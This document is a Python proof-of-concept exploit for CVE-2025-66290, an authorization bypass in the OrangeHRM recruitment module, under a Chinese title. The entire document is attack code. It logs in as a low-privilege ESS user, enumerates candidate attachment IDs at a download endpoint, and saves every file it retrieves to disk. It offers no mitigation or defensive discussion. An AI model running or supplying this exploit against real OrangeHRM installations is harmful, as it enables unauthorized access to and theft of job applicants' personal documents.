CVE-2025-66290: OrangeHRM招聘模块授权绕过漏洞

#!/usr/bin/env python3 """ CVE-2025-66290 PoC - OrangeHRM Recruitment Module Authorization Bypass This PoC demonstrates how an authenticated ESS-level user can download candidate attachments without proper recruitment module permissions. """ import requests import sys from bs4 import BeautifulSoup TARGET_URL = "http://target-orangehrm.com" USERNAME = "ess_user" PASSWORD = "password123" def login(session, username, password): """Authenticate with OrangeHRM using ESS credentials""" login_url = f"{TARGET_URL}/index.php/auth/login" data = { 'txtUsername': username, 'txtPassword': password, 'Submit': 'LOGIN' } response = session.post(login_url, data=data, verify=False) return 'dashboard' in response.url or response.status_code == 200 def download_attachment(session, attachment_id): """Attempt to download candidate attachment by ID""" # Recruitment attachment download endpoint attachment_url = f"{TARGET_URL}/index.php/recruitmentApply/apply/applyAttachment/download?id={attachment_id}" response = session.get(attachment_url, allow_redirects=True, verify=False) # Check if download was successful (not redirected to login or error page) if response.status_code == 200: content_type = response.headers.get('Content-Type', '') if 'application' in content_type or 'text' in content_type: return True, response.content return False, None def main(): session = requests.Session() # Step 1: Login as ESS user (no recruitment access) print("[*] Logging in as ESS user...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed!") return print("[+] Login successful") # Step 2: Enumerate and download candidate attachments print("[*] Enumerating candidate attachments...") for attachment_id in range(1, 100): success, content = download_attachment(session, attachment_id) if success: print(f"[+] Found attachment ID: {attachment_id}") print(f" Size: {len(content)} bytes") # Save the attachment with open(f"attachment_{attachment_id}.pdf", 'wb') as f: f.write(content) print(f" Saved to: attachment_{attachment_id}.pdf") if __name__ == "__main__": main()